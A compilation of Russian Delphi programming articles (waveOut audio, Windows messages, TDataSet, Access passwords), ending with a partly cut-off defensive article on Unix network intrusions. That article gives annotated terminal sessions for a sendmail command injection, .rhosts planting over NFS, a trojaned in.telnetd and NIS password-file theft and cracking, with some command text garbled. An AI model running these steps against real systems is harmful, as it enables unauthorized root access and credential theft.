…текущие характеристики САМОГО звука (частоту или громкость) …получение спектра с помощью FFT, …запись в формате MP3. …помогите проиграть mp3 и wma файлы с помощью Mutlimedia API WAVEOUT***** …определить устройство ввода звука, получить с него звук, отобразить форму волны, сравнить с образцом и выдать расхождение. Что-то вроде системы распознавания речи. …самый примитивный код, осуществляющий воспроизведение звука с помощью базовых функций (waveOutOpen,waveOutPrepareHeader и т.д.), …регулировать звук воспроизводимого файла из своей программы не могу …как програмно регулировать громкости не знаю. …функции waveOutWtire и waveInAddBuffer при работе с каким либо callback механизмом тратят очень много времени на переключение буферов. …в CallBack-функции при переключении буферов возникают щелчки в динамиках. Как от них избавиться? …Но как все-таки сначала узнать, установлена ли звуковая карта или нет ?Итак, на что я попытаюсь ответить:
как узнать, есть ли устройство вывода/записи звука как использовать Multimedia API для вывода/записи звука как генерировать звук как менять громкость и вообще работать с микшером что можно сделать, если есть fullduplexЧего я не скажу (надеюсь, скажет кто-то другой :).
Как работать с MP3 файлами. Как проводить цифровую обработку сигнала. Как работать со звуком в DirectX.Еще "на берегу" хочу договориться -- HELP или MSDN не переписываю! В хелпах Delphi все функции описаны -- осталось только найти…
Начинаем.
Для нас важны следующие понятия: PCM, выборка, битовое разрешение, частота выборки. (см. более полно здесь )PCM (импульсно-кодовая модуляция) -- Звук может быть представлен разными способами, но это самый простой (и, наверное, поэтому наиболее используемый). Что это такое, можно посмотреть на сайте, Королевство DELPHI я повторяться не буду.
Sample (выборка) -- значение амплитуды дискретизированного сигнала. Секунда звучания на компакт-диске содержит 44100 выборок (сэмплов). Имеется в виду, что выборка содержит в себе реально два значения - для левого и правого каналов.
Sample rate (частота выборки) -- Число выборок в секунду, которое используется для записи звука. Более высокие частоты соответствуют более высокому качеству звука, однако потребляют большее количество памяти.
Sample size (битовое разрешение) -- определяет количество бит, используемое для записи единичной выборки на каждом канале. Компьютеры используют в основном 8 и 16 бит, профессиональное оборудование - 18, 20 и выше.
Несколько слов по поводу "железа". Необходимо четко различать, что звуковая плата -- это НЕ ОДНО устройство в системе. Есть устройство вывода звука, записи звука, микшер, синтезатор и т.д. по вкусу. Это важно понимать, т.к. каждое устройство имеет свой набор функций: waveOut***, waveIn***, midiOut***, midiIn***, mixer*** и др.
Еще раз повторю: все это РЕАЛЬНО РАЗНЫЕ устройства, упакованные в одном или нескольких аудиочипах. Кому интересно, посмотрите описание любого аудиочипа. Например, CS4281 или ES1938.
Как узнать, есть ли устройство вывода/записи звука.
Для ответа на этот важнейший вопрос ( если устройства нет -- мы ведь ничего не услышим, правда?) используются следующие функции и структуры API:
waveOutGetNumDevs -- получить количество аудиоустройств waveOutGetDevCaps -- получить свойства аудиоустройства TWAVEOUTCAPS -- структура для WaveOutGetDevCapsЕсли Вы знаете, что устройство в системе одно, можно поступить так:
procedure TForm1.btnClick(Sender: TObject);
var
WOutCaps: TWAVEOUTCAPS;
begin
// проверка наличия устройства вывода
FillChar(WOutCaps, SizeOf(TWAVEOUTCAPS), #0);
if MMSYSERR_NOERROR <> WaveOutGetDevCaps(0, @WOutCaps, SizeOf(TWAVEOUTCAPS))
then
begin
ShowMessage('Ошибка аудиоустройства');
exit;
end;
end;
Так мы пытаемся узнать характеристики устройства с номером 0 (т.е. первого в системе) и если его нет, говорим об ошибке. Если у нас несколько звуковых карточек, используем waveOutGetNumDevs. Характеристики нам понадобятся позже.
Важно: если хотим узнать, есть ли устройство записи, миксер в системе, используем WaveIn***, mixer*** и т.д. Ведь этих устройств может и не быть (USB-колонки). Так что вопрос: "Есть ли звуковая карточка в компьютере?" не совсем корректен для наших целей, да и не нужен. Вам звук выводить или карточкой хвалиться?
Как использовать Multimedia API для записи/вывода звука.
Для вывода звука мы используем следующий набор функций и структур API:
waveOutGetDevCaps -- получить свойства аудиоустройства waveOutOpen -- открыть аудиоустройство waveOutPrepareHeader -- приготовить буфер вывода для воспроизведения waveOutWrite -- вывести звук (поставить буфер на воспроизведение) waveOutReset -- остановить воспроизведение и освободить буферы waveOutUnprepareHeader -- вернуть буфер вывода WaveOutClose -- закрыть устройство вывода звука TWAVEOUTCAPS -- структура для WaveOutGetDevCaps TWAVEFORMATEX -- формат звуковых данных TWAVEHDR -- формат заголовка буфера вывода.Как же мы выведем звук?
Во-первых, надо озаботиться способом общения с драйвером. Вариантов много: сообщения, callback-функции, объекты-события и т.д. По моему опыту, наиболее "приятно" работать с объектами-событиями, то есть использовать объекты ядра Events и потоки. Работает без особых проблем, лего управляется, нет ненужных задержек в очереди сообщений, можно поставить более высокий приоритет потоку, обрабатывающему звуковые данные. В общем, плюсов много, а главное … Microsoft рекомендует.
Так, с этим определились, теперь формат звуковых данных. Необходимо заполнить TWAVEFORMATEX, например, так:
var
wfx: TWAVEFORMATEX;
…
// заполнение структуры формата
FillChar(wfx, Sizeof(TWAVEFORMATEX), #0);
with wfx do
begin
wFormatTag := WAVE_FORMAT_PCM; // используется PCM формат
nChannels := 2; // это стереосигнал
nSamplesPerSec := 44100; // частота дискретизации 44,1 Кгц
wBitsPerSample := 16; // битовое разрешение выборки 16 бит
nBlockAlign := wBitsPerSample div 8 * nChannels;
// число байт в выборке для стереосигнала -- 4 байта
nAvgBytesPerSec := nSamplesPerSec * nBlockAlign;
// число байт в секундном интервале для стереосигнала
cbSize := 0; // не используется
end;
Готово, можно открывать:
var
wfx: TWAVEFORMATEX;
hEvent: THandle;
wfx: TWAVEFORMATEX;
hwo: HWAVEOUT;
…
// открытие устройства
hEvent := CreateEvent(nil, false, false, nil);
if WaveOutOpen(@hwo, 0, @wfx, hEvent, 0, CALLBACK_EVENT) <> MMSYSERR_NOERROR
then
…;
Устройство открыто, теперь (вторым шагом) решим, откуда будем брать данные для вывода. Для этого выделяем память и готовим буферы вывода. Заметьте, готовим ДВА буфера для того, чтобы организовать двойную буферизацию -- и никто никого не ждет…если буфер подходящего размера. В зависимости от производительности системы он может быть поменьше. ( у меня был минимум -- 8 кбайт).
Ниже в листинге есть одна особенность -- выделяется память из расчета на КАЖДЫЙ канал стереозвука -- это нужно для нашего примера, но обычно такое не требуется.
И еще одна особенность -- умные люди (см. литературу) рекомендуют выделять только целое количество страниц памяти с учетом грануляции, что мы и делаем.
var
wfx: TWAVEFORMATEX;
hEvent: THandle;
wfx: TWAVEFORMATEX;
hwo: HWAVEOUT;
si: TSYSTEMINFO;
wh: array[0..1] of TWAVEHDR;
Buf: array[0..1] of PChar;
CnlBuf: array[0..1] of PChar;
…
// выделение памяти под буферы, выравниваются под страницу памяти Windows
GetSystemInfo(si);
buf[0] := VirtualAlloc(nil, (BlockSize * 4 + si.dwPageSize - 1) div
si.dwPagesize * si.dwPageSize,
MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE);
buf[1] := PChar(LongInt(buf[0]) + BlockSize);
// отдельно буферы для генераторов под каждый канал
CnlBuf[0] := PChar(LongInt(Buf[1]) + BlockSize);
CnlBuf[1] := PChar(LongInt(CnlBuf[0]) + BlockSize div 2);
// подготовка 2-х буферов вывода
for I := 0 to 1 do
begin
FillChar(wh[I], sizeof(TWAVEHDR), #0);
wh[I].lpData := buf[I]; // указатель на буфер
wh[I].dwBufferLength := BlockSize; // длина буфера
waveOutPrepareHeader(hwo, @wh[I], sizeof(TWAVEHDR));
// подготовка буферов драйвером
end;
Итак, куда выводить -- есть, откуда выводить -- есть. Третим шагом осталось определить, что выводить и СДЕЛАТЬ ЭТО (вывести звук). Сначала мы генерим данные для левого и правого канала раздельно, затем смешиваем и помещаем в первый буфер вывода. Генерация производится очень просто -- sin. Смешиваем два буфера в один с помощью процедуры mix -- небольшая процедурка на АSМе Такой подход я избрал вот почему -- не все же синус по двум каналам генерить! Можно и музыку разную налево и направо пустить. (это называется бинуральное слушание, кажется). Заметьте, для генерации каждого нового буфера мы сохраняем текущее время сигнала, чтобы он был гладкий да шелковистый... И ПОМНИТЕ, что все это делается в отдельном потоке. Как видите, здесь есть пространство для творчества (оптимизации), но это оставляю читателям.
// генерация буферов каналов Generator(CnlBuf[0], Typ[0], Freq[0], Lev[0], BlockSize div 2, tPred[0]); Generator(CnlBuf[1], Typ[1], Freq[1], Lev[1], BlockSize div 2, tPred[1]); // смешивание буферов каналов в первый буфер вывода Mix(buf[0], CnlBuf[0], CnlBuf[1], BlockSize div 2);
И наконец, вот он, ЗВУК!
I := 0; while not Terminated do begin // передача очередного буфера драйверу для проигрывания waveOutWrite(hwo, @wh[I], sizeof(WAVEHDR)); WaitForSingleObject(hEvent, INFINITE); I := I xor 1; // генерация буферов каналов Generator(CnlBuf[0], Typ[0], Freq[0], Lev[0], BlockSize div 2, tPred[0]); Generator(CnlBuf[1], Typ[1], Freq[1], Lev[1], BlockSize div 2, tPred[1]); // смешивание буферов каналов в очередной буфер вывода Mix(buf[I], CnlBuf[0], CnlBuf[1], BlockSize div 2); // ожидание конца проигрывания и освобождения предыдущего буфера end;
Важно: нет необходимости повторно готовить буферы функцией waveOutPrepareHeader, просто пишите данные в память и играйте… Когда Вы насладитесь звуком (все это пищание надоест), нужно выключить машинку:
// завершение работы с аудиоустройством waveOutReset(hwo); waveOutUnprepareHeader(hwo, @wh[0], sizeof(WAVEHDR)); waveOutUnprepareHeader(hwo, @wh[1], sizeof(WAVEHDR)); // освобождение памяти VirtualFree(buf[0], 0, MEM_RELEASE); WaveOutClose(hwo);
И освобождаем наш объект-событие.
CloseHandle(hEvent);
Все, наступила тишина…
Итак, мы разобрались с тремя вопросами:
как узнать, есть ли устройство вывода звука, как сгенерировать звук и как вывести звук.Далее по плану: как менять громкость и вообще работать с микшером и что такое fullduplex.
Пример программы подготовлен для Delphi5. Скачать — Generator.zip 5.8K.
Литература.
Гордеев О. В. Программирование звука в Windows. СПб.: БХВ — Санкт-Петербург 1999 384 с.
Что такое сообщения Windows.
| (A)bort, (R)etry, (I)gnore == Нафиг, Нефиг, Пофиг ... |
Потребности программиста на Delphi практически полностью удовлетворяются возможностями работы с событиями, предоставляемыми VCL. Но при создании серьёзных нестандартных приложений и особенно при разработке компонентов Delphi вам, безусловно потребуется непосредственно обрабатывать сообщения Windows, после чего генерировать события, соответствующие этим сообщениям.
Что же такое сообщение? Сообщение - это извещение о некотором имевшем место событии, посылаемое системой Windows в адрес приложения. Любые действия пользователя - щелчок мышью, изменение размеров окна приложения, нажатие клавиши на клавиатуре - вынуждают Windows отправить приложению сообщение, извещающее о том, что же произошло в системе. Сообщение представляет собой определённую запись, объявленную в модуле Windows так:
type
TMsg = packed record
hwnd: HWND; // Дескриптор окна-получателя
message: UINT; // Идентификатор сообщения
WParam: WPARAM; // 32 Бита дополнительной информации
LParam: LPARAM; // Ещё 32 бита дополнительной информации
time: DWORD; // Время создания сообщения
pt: TPoint; // Положение указателя мыши в момент создания сообщения
end;
|
Абстрактный набор данных.
Автор: Влад Шубников В основе иерархии классов, обеспечивающих функционирование наборов данных в приложениях баз данных Delphi, лежит класс TDataSet. Хотя он почти не содержит методов, реально обеспечивающих работоспособность основных механизмов набора данных, тем не менее его значение трудно переоценить. Этот класс задает структурную основу функционирования набора данных. Другими словами, это скелет набора данных, к методам которого необходимо лишь добавить требуемые вызовы соответствующих функций реальных технологий. При решении наиболее распространенных задач программирования в процессе создания приложений баз данных класс TDataSet не нужен. Тем не менее знание основных принципов работы набора данных всегда полезно. Кроме этого, класс TDataSet может использоваться разработчиками в качестве основы для создания собственных компонентов. Поэтому рассмотрим основные механизмы, реализованные в наборе данных.Набор данных открывается и закрывается свойством.
property Active: Boolean;
Которому соответственно необходимо присвоить значение True или False. Аналогичные действия выполняют методы.
procedure Open; procedure Close;После открытия набора данных можно перемещаться по его записям.
На одну запись вперед и назад перемещают курсор соответственно методы.
procedure Next; procedure Prior;
На первую и последнюю запись можно попасть, используя соответственно методы.
procedure First; procedure Last;
Признаком того, что достигнута последняя запись набора, является свойство.
property Eof: Boolean;которое в этом случае имеет значение True.
Аналогичную функцию для первой записи выполняет свойство.
property Bof: Boolean;
Перемещение вперед и назад на заданное число записей выполняет метод.
function MoveBy(Distance: Integer): Integer;Параметр Distance определяет число записей. Если параметр отрицательный — перемещение осуществляется к началу набора данных, иначе — к концу.
Для ускоренного перемещения по набору данных можно отключить все связанные компоненты отображения данных. Это делается методом.
procedure DisableControls;
Обратная операция выполняется методом.
procedure EnableControls;
Общее число записей набора данных возвращает свойство.
property RecordCount: Integer;
Однако использовать его нужно аккуратно, т. к. каждое обращение к этому свойству приводит к обновлению набора данных, что может вызвать проблемы для больших таблиц или сложных запросов. Если вам нужно определить, не является ли набор данных пустым (часто используемая операция), можно использовать метод.
function IsEmpty: Boolean;
Который возвращает значение True, если набор данных пуст, или уже упоминавшиеся свойства.
...
if MyTable.Bof and MyTable.Eof
then ShowMessage('DataSet is empty');
...
Номер текущей записи позволяет узнать свойство.
property RecNo: Integer;
Размер записи в байтах возвращает свойство.
property RecordSize: Word;Каждая запись набора данных представляет собой совокупность значений полей таблицы. В зависимости от типа компонента и его настройки, число полей в наборе данных может изменяться. И совсем не обязательно набор данных должен содержать все поля таблицы базы данных.
Совокупность полей набора данных инкапсулирует свойство.
property Fields: TFields;
А все необходимые параметры полей содержатся в свойстве.
property FieldDefs: TFieldDefs;
Общее число полей набора данных возвращает свойство.
property FieldCount: Integer;
А общее число полей типа BLOB содержится в свойстве.
property BlobFieldCount: Integer;
Доступ к значениям полей текущей записи предоставляет свойство.
property FieldValues[const FieldName: string]: Variant; default;где в параметре FieldName задается имя поля.
В процессе программирования разработчик очень часто обращается к полям набора данных. Если структура полей набора данных жестко задана и не изменяется, это можно сделать так:
for i := 0 to MyTable.FieldCount - 1 do MyTable.Fields[i].DiplayFormat := '#.###';
Иначе, если порядок следования полей и их состав меняется, можно использовать метод.
function FieldByName(const FieldName: string): TField;
И делается это следующим образом:
MyTable.FieldByName('VENDORNO').Aslnteger := 1234;
Имя поля, передаваемое в параметре FieldName, не чувствительно к регистру символов.
Метод.
procedure GetFieldNames(List: TStrings);вернет в параметр List полный список имен полей набора данных. Более подробная информация о полях и способах работы с ними содержится в гл. 13. Класс TDataSet содержит ряд свойств и методов, которые обеспечивают редактирование набора данных.
Но сначала бывает полезно поинтересоваться, можно ли редактировать набор данных вообще. Это можно сделать при помощи свойства.
property CanModify: Boolean;
Которое принимает значение True для редактируемых наборов. Перед началом редактирования набор данных нужно перевести в режим редактирования, использовав метод.
procedure Edit;
Для сохранения сделанных изменений применяется метод.
procedure Post; virtual;Разработчик может вызывать его самостоятельно, или же метод Post вызывается самим набором данных при переходе на другую запись.
При необходимости все сделанные после последнего вызова метода Post изменения можно отменить методом.
procedure Cancel; virtual;
Новая пустая запись добавляется в конец набора данных методом.
procedure Append;
Новая пустая запись добавляется на место текущей методом.
procedure Insert;а текущая запись и все нижеследующие смещаются на одну позицию вниз. Внимание При использовании методов Append и insert набор данных переходит в режим редактирования самостоятельно.
Дополнительно, у вас есть возможность добавить или вставить новую запись уже с заполненными полями. Для этого применяются методы.
procedure AppendRecord(const Values: array of const); procedure InsertRecord(const Values: array of const);
А делается это примерно так:
МуТаь1е.AppendRecord([2345, 'New customer', '+7(812)4569012', 0, '']);После вызова этих методов и их завершения набор данных автоматически возвращается в состояние просмотра.
Для существующей записи аналогичным образом можно заполнить все поля, использовав метод.
procedure SetFields(const Values: array of const);
Текущая запись удаляется методом.
procedure Delete;При этом набор данных не выдает никаких предупреждений, а просто делает это.
Очистить содержимое всех полей текущей записи может метод.
procedure ClearFields;Обратите внимание, что поля становятся пустыми (NULL), а не сбрасываются в нулевое значение.
О том, редактировалась ли текущая запись, сообщает свойство.
property Modified: Boolean;если оно имеет значение True.
Набор данных можно обновить, не закрывая и не открывая его снова. Для этого применяется метод.
procedure Refresh;Однако он сработает только для таблиц и тех запросов, которые нельзя редактировать.
В каждый момент времени набор данных находится в определенном состоянии (о состояниях см. ниже в этой главе). Свойство.
type TDataSetState = (dslnactive, dsBrowse, dsEdit, dslnsert,
dsSetKey, dsCalcFields, dsFilter, dsNewValue,
dsOldValue, dsCurValue, dsBlockRead, dsInternalCalc,
dsOpening); property State: TDataSetState;
дает информацию о текущем состоянии набора.
Методы-обработчики класса TDataSet предоставляют разработчику широчайшие возможности по отслеживанию событий, происходящих с набором данных.
По паре методов-обработчиков (до и после события) предусмотрено для следующих событий в наборе данных:
открытие и закрытие набора данных; переход в режим редактирования; переход в режим вставки новой записи; сохранение сделанных изменений; отмена сделанных изменений; перемещение по записям набора данных; обновление набора данных.Обратите внимание, что помимо методов-обработчиков режима вставки существует дополнительный метод.
property OnNewRecord: TDataSetNotifyEvent;который вызывается непосредственно при вставке или добавлении записи. Дополнительно к этому могут использоваться методы-обработчики возникающих ошибок. Они предусмотрены для ошибок удаления, редактирования и сохранения изменений.
Метод-обработчик.
property OnCalcFields: TDataSetNotifyEvent;очень важен для задания значений вычисляемых полей. Он вызывается для каждой записи, которая отображается в визуальных компонентах, связанных с набором данных каждый раз, когда необходимо перерисовать значения полей в визуальных компонентах.
Если в методе-обработчике OnCalcFields производятся слишком сложные вычисления, частота его вызовов может быть уменьшена за счет свойства.
property AutoCalcFields: Boolean;
По умолчанию оно равно значению True и расчет вычисляемых полей производится при каждой перерисовке. При значении False метод-обработчик OnCalcFields вызывается только при открытии, переходе в состояние редактирования и обновлении набора данных. Все перечисленные выше обработчики имеют одинаковый тип.
type TDataSetNotifyEvent = procedure(DataSet: TDataSet) of object;
И метод-обработчик.
type TFilterRecordEvent = procedure(DataSet: TDataSet; var Accept: Boolean) of object; property OnFilterRecord: TFilterRecordEvent;
Вызывается для каждой записи набора данных при свойстве Filtered = True. Помимо перечисленных, класс TDataSet содержит еще много свойств и методов, которые обеспечивают работоспособность многих полезных в практическом программировании приложений баз данных функций.
Пароли на базу данных Access.
Автор: Savva WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Установка/Изменение/Удаление пароля на базу данных Access
Функция для удаления, задания и изменения пароля базы данных Access используя DAO Engine.
PS. кто будет использовать - в комментариях отметьте версии ОС, Access,Delphi.
Зависимости: Dialogs,DAO2000,ComObj
Автор: savva, savva@nm.ru, ICQ:126578975, Орел
Copyright: Сапронов Алексей (Savva)
Дата: 13 сентября 2002 г.
***************************************************** }
//определяем тип, указывающий действие над паролем
type
TPasswordAction = (paSet, paChange, paRemove);
....
function ChangeAccessDBPassword(DatabaseName: string; action: TPasswordAction;
OldPassword: string = ''; NewPassword: string = ''): boolean;
var
DAO: _DBEngine;
db: Database;
ClassID: TGUID;
V35, V36: string;
oldPass, newPass: string;
begin
Result := false;
V35 := 'DAO.DBEngine.35';
V36 := 'DAO.DBEngine.36';
try
try
ClassID := ProgIDToClassID(v36);
except
try
ClassID := ProgIDToClassID(v35);
except
raise;
end;
end;
DAO := CreateComObject(ClassID) as _DBEngine;
if action = paSet then
begin
db := DAO.OpenDatabase(DatabaseName, true, false, '');
db.NewPassword(#0, NewPassword);
end
else
begin
db := DAO.OpenDatabase(DatabaseName, true, false, ';pwd=' + OldPassword);
if action = paChange then
db.NewPassword(OldPassword, NewPassword)
else
db.NewPassword(OldPassword, #0);
end;
Result := true;
except
// выводим сообщение о ошибке
on E: Exception do
begin
Result := false;
ShowMessage(e.message);
end;
end;
end.
Пример использования:
//устанавливаем новый пароль - БАЗА ДОЛЖНА БЫТЬ НЕ ЗАПАРОЛЕНА,
// иначе будет ошибка:)
procedure TForm1.Button1Click(Sender: TObject);
var
newPass: string;
begin
if InputQuery('New password', 'Enter new password', newPass) then
if ChangeAccessDBPassword(ExtractFilePath(ParamStr(0)) + 'db2.mdb', paSet,
'', newPass) then
ShowMessage('OK!')
else
ShowMessage('Error!');
end;
//изменяем пароль
procedure TForm1.Button2Click(Sender: TObject);
var
oldPass, newPass: string;
begin
if InputQuery('Old password', 'Enter old password', oldPass) then
if InputQuery('New password', 'Enter new password', newPass) then
if ChangeAccessDBPassword(ExtractFilePath(ParamStr(0)) + 'db2.mdb',
paChange, oldPass, newPass) then
ShowMessage('OK!')
else
ShowMessage('Error!');
end;
//удаляем пароль
procedure TForm1.Button3Click(Sender: TObject);
var
oldPass: string;
begin
if InputQuery('Password', 'Enter password', oldPass) then
if ChangeAccessDBPassword(ExtractFilePath(ParamStr(0)) + 'db2.mdb',
paRemove, oldPass, '') then
ShowMessage('OK!')
else
ShowMessage('Error!');
end;
Несанкционированный доступ.
Оформил: DeeCo
Повышение интереса к TCP/IP сетям обусловлено бурным ростом сети Internet. Однако это заставляет задуматься над тем, как защитить свои информационные ресурсы и компьютеры от различного рода злоумышленников. Для того, чтобы разработать реально действующие контрмеры, необходимо знать способы и методы взломщиков. В мировом сообществе Internet уже давно ведется дискуссия о том публиковать или не публиковать материалы о методах проникновения в чужие компьютерные сети. После жарких обсуждений, похоже, была осознана необходимость полной открытости по этому вопросу. Статья основана на опыте администрирования сети при постоянных попытках взлома и методических указаниях CERT.Задача данной статьи состоит в том, чтобы обратить внимание администраторов сетей, подключенных к Internet, на очевидные бреши в системе безопасности наиболее популярных систем. Кроме примеров взломов и возможных дыр, постараемся кратко описать основные средства борьбы с этим неизбежным злом. Учитывая тот факт, что большинство серверов на сети используют операционную систему Unix, обзор возможных прорех в системе безопасности имеет смысл начать именно с этой ОС. Основные методы получения несанкционированного доступа к Unix через сеть Начать обзор следует с возможности взлома через электронную почту. Для пересылки электронной почты по IP на подавляющем большинстве систем используется программа sendmail, разработанная в университете Беркли. Задуманная как чисто служебная утилита, эта программа приобрела огромную популярность и вошла в состав дистрибутива многих Unix-систем. Однако она содержала в себе очень серьезную ошибку, благодаря которой любой желающий имел возможность выполнить на удаленной машине команды с привилегиями суперпользователя. Обычно взломщики пытались отправить себе файл passwd для подбора паролей либо помещали свою информацию в файлы, использующиеся программами rlogin, rsh для запуска shell без запроса пароля (Пример 1). ПРИМЕР 1crack% telnet target.remote.com 25 Connecting to 123.456.654.321. ! соединяемся по порту 25 - это SMTP 220 sendmail SMI / 4.3.5.2 ready ! версия, которая как известно, содержит ошибку. helo xxx 220 Helo xxx, (crack.edu) mail from: |echo crack.edu / .rhosts@target.remote.com ! подставляем команду вместо обратного адреса. 200 Sender ok. rcpt to : nosuchuser ! вводим заранее неправильного адресата 500 nosuchuser: user unknown ! несмотря на сообщение, продолжаем диалог. data 230 Enter mail, end with . 200 Mail accepted ! все, машина взломана.... quit crack% su ! А теперь залезаем так, чтобы нас не было видно через who #0rsh target.remote.com / bin / csh - i Welcome to remote.com! Warning! No access to terminal, job control disabled! target#0Эта ошибка присутствует в нескольких десятках различных вариантов ОС Unix самых разных фирм. Кроме того, существуют и более простые способы при благоприятных условиях: удаленная машина Sun, система SunOS 4, NIS не запущен, система поставлена, и ничего не исправлялось (Пример 2). ПРИМЕР 2
crack#0su - bin $ rsh target.remote.com / bin / csh - i ! В файле / etc / hosts.equiv есть запись + и ошибка... Welcome to remote.com! ! Каталог / etc с владельцем bin... Warning! No access to terminal, job control disabled! % ls - ldg / etc drwxr - xr - x 10 bin bin 1536 Apr 10 01: 45 / etc / % cd / etc ! Делаем passwd доступным на запись нам... % mv passwd passwd.was % cp passwd.was passwd ! Редактируем % ed passwd 2341 1 p root: Nkkh5gkljGyj: 0: 0: Root: / : / bin / csh s / Nkkh5gkljGyj //p root: : 0: 0: Root: / : / bin / csh w 2341 q ! И в суперпользователя. %echo / bin / csh - i | su root Warning! No access to terminal, job control disabled! target#0mv / etc / passwd.was / etc / passwdКроме электронной почты в TCP/IP сетях очень широко применяются различные виды распределенных файловых систем, самой популярной из которых является Network File System (NFS). В случае неаккуратного заполнения файла /etc/exports или использования дистрибутива с ошибкой (SunOS 4.1) может возникнуть следующая ситуация (Пример 3). ПРИМЕР 3
crack% showmount - e target.remote.com Export list for target.remote.com / home Everyone / disk3 neptun pluton alpha ! Домашние каталоги доступны по NFS crack% su #0mount - t nfs target.remote.com: / home / mnt #0cd / mnt ! Монтируем каталог к нам #0ls - ldg * drwxr - xr - x 10 257 20 1536 Apr 10 01: 45 user / #0echo crack.еdир user / .rhosts ! Устанавливаем.rhosts у пользователя #0саtр / etc / passwd user: : 257: 20: : / : ^D ! Создаем такого же у нас #0su - user ! Становимся им $ rsh target.remote.com / bin / csh - i Warning! No access to terminal, job control disabled! ! И заходим на удаленную машину % id uid = 257(user)gid = 20(stuff)groups = 20(stuff), 7(sys) % ls - ldg / usr / etc ! Каталог доступен на запись drwxrwxr - x 10 bin bin 1536 Apr 10 01: 45 / usr / etc % grep telnet / etc / inetd.conf telnet stream nowait root / usr / etc / in .telnetd in .telnetd ! Нашли программу, которая запустится !под rооt"ом из нашего каталога % cd / usr / etc % mv in .telnetd in .telnetd1 ! создаем троянского коня % саtр in .telnetd #0! / bin / sh exec / bin / csh - i ^D % chmod 755 in .telnetd ! и запускаем его % telnet 127.1 Connecting 127.1. Warning! No access to terminal, job control disabled! #0chown user / etc; ! Делаем / etc своим ^M: command not found #0exit; ^M: command not found Connection closed by foreign host. % cd / etc! и далее как раньше как в примере 1. ....... Если на машине работает NIS-сервер и не принято дополнительных мер, то с помощью специальной программы можно утащить по сети файл passwd, общий для некоторого числа машин. В случае несоблюдения правил при создании паролей, есть довольно приличная вероятность, что программа crack подберет несколько. Дальнейшие события могут разворачиваться по одному из сценариев для получения полномочий суперпользователя (Пример 4) (после того, как вы зашли на удаленную машину как пользователь). ПРИМЕР 4 ! проверяем на NIS сервер
crack% rpcinfo - p target.remote.com | grep bind 120000 2 udp 2493 ypbind ! есть такой... crack% ypx - o target.passwd - g target.remote.com ! забираем файл паролей crack% crack target.passwd ! и запускаем подборщик паролей [a lot of time] OK, user user has password iamuser ! нашли, заходим crack% telnet target.remote.com! далее как в предыдущем примере. ..... Естественно, что если известны способы преодоления защиты, то должны быть разработаны и средства защиты. Для минимизации возможных попыток проникновения в сеть очень эффективен маршрутизатор, умеющий анализировать поток проходящей через него информации и осуществляющий фильтрацию пакетов. Эта возможность реализована практически во всех аппаратных маршрутизаторах (cisco, wellfleet...) и в виде специального ПО для Unix-машин (Sun, DEC, BSDI, FreeBSD). Такие маршрутизаторы позволяют осуществлять работу в сети строго по определенным правилам. Например, не пропускать из/в локальную сеть некоторые протоколы. Очень рекомендуется запрещать rlogin, rsh, RPC (см. Примеры), а также пакеты, направленные на порты 2048 и 2049, - это порты данных для NFS. Также рекомендуется четко определить машины, принимающие почту, и открыть порт 25 только для них. При необходимости возможна конфигурация, которая вообще запрещает какие-либо заходы по сети в локальную сеть, при этом разрешая изнутри использовать любые TCP-сервисы глобальной сети. Подобный маршрутизатор или комбинация из нескольких машин и фильтрующих маршрутизаторов получили название брандмауэр (от англ. firewall - стена огня). Для установления полного контроля за всеми соединениями можно использовать так называемый программный брандмауэр (software firewall). Он представляет собой своеобразный маршрутизатор, который осуществляет контроль за соединениями не на уровне IP-пакетов, а на уровне собственно контролируемых протоколов. В этом случае режим прозрачной пересылки пакетов выключен, но вместо программ, обеспечивающих работу с необходимыми протоколами (telnet, ftp...), запускаются программы, которые транслируют эти протоколы в сеть по другую сторону машины, обычно сверившись по базе данных на предмет правомерности такого соединения и после идентификации пользователя.Для пользователя такойбрандмауэр выглядит единственным окном во внешний мир. Например, если в сети длятого, чтобы зайти по ftp на машину arch.kiae.su, вам надо набрать:
% ftp arch.kiae.su Connected to arch.kiae.su Name: (arch.kiae.su: you) 230 Guest login ok, send ident as password Password: you@your.site 230 - Hello, user@our.workstation.our.company.comто в случае программного брандмауэра надо набирать:
% ftp our - soft - firewall Name: (our - soft - firewall: user)ftp@arch.kiae.su Password: XXXXXXX Connected to arch.kiae.su Name: (arch.kiae.su: ftp) 230 Guest login ok, send ident as password Password: you@your.site 230 - Hello, user@our - sort - firewall.our.company.comАналогично работают telnet, rlogin, X11 и т.д. Борьба с возможностью анализа содержания IP-пакетов Все рассмотренные выше примеры относятся к так называемым активным методам. Аккуратное администрирование системы легко сводит на нет все рассмотренные дырки, но совершенно бессильно в случае применения пассивной атаки. Что это такое? Самый распространенный, простой в исполнении способ - анализ информации, передаваемой по каналам связи, преимущественно по сети Ethernet. Основан он на свойстве этой сети, благодаря которому каждый передаваемый пакет может быть проанализирован любой машиной, подключенной на этот сегмент сети. При наличии достаточно быстрой машины с адаптером, разрешающим работу в режиме приема всех пакетов, можно легко извлекать такую информацию, как пароли пакетов NFS. Если на этом сегменте расположено несколько маршрутизаторов, то в наш фильтр попадут не только пароли нашей сети, но и те, которыми обмениваются маршрутизаторы. Таким образом, за сравнительно короткое время можно собрать коллекцию паролей на нескольких сотнях машин. Для борьбы с такими методами в конце 80-х годов была разработана система сетевой идентификации пользователя под названием Kerberos. Основной целью было полное исключение пересылки паролей по сети. Пользователь вводит пароль только один раз при регистрации в системе, после чего ему выделяется билет на несколько часов, который хранится в файле в зашифрованном виде. Этот билет содержит информацию о пользователе, время выдачи, адрес машины и случайно сгенерированный ключ для дальнейшего обмена идентификационной информацией. Первоначальным ключом служит пароль пользователя. Билет, выданный при входе в систему, используется для получения вторичных билетов, по которым может быть предоставлен какой-либо сетевой сервис. Со стороны сервера используется аналогичный механизм с той разницей, что в качестве пользователя выступает программа, обеспечивающая запрошенный вид услуги. Таким образом, программа пользователя и программа на сервере получают пару случайных ключей, с помощью которых они шифруют идентификационную информацию, прилагают к ней контрольные суммы и на этой основе удостоверяются в том, что они те, кем представились. После этого программа пользователя может получить доступ к сервису без запроса пароля. Без знания первоначальных ключей сеанс не состоится. Кроме того, полученная пара ключей может быть использована для шифрования всего сеанса работы по сети. Эта система имеет целый ряд недостатков. Во-первых, подразумевается четкое разделение машин на рабочие станции и серверы. В случае, если пользователь пожелает, зайдя на сервер, с помощью telnet зайти на другую машину, идентификация не сработает, так как пользователь имеет первоначальный билет только на той рабочей станции, где он вводил пароль. Иными словами, в Kerberos версии 4 полномочия 